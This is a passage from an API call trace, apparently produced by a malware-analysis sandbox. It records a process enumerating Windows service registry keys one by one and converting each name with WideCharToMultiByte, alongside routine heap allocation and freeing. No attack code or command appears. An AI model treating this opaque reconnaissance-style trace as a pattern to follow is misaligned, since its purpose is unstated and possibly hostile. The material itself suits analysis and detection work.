cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0254.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0254.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0254.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0254.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0254.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0254.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0254.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0254.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0254.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0254.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0254.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0254.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0254.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0254.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0254.006] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0254.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0254.008] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0254.009] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0254.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0254.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0254.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: 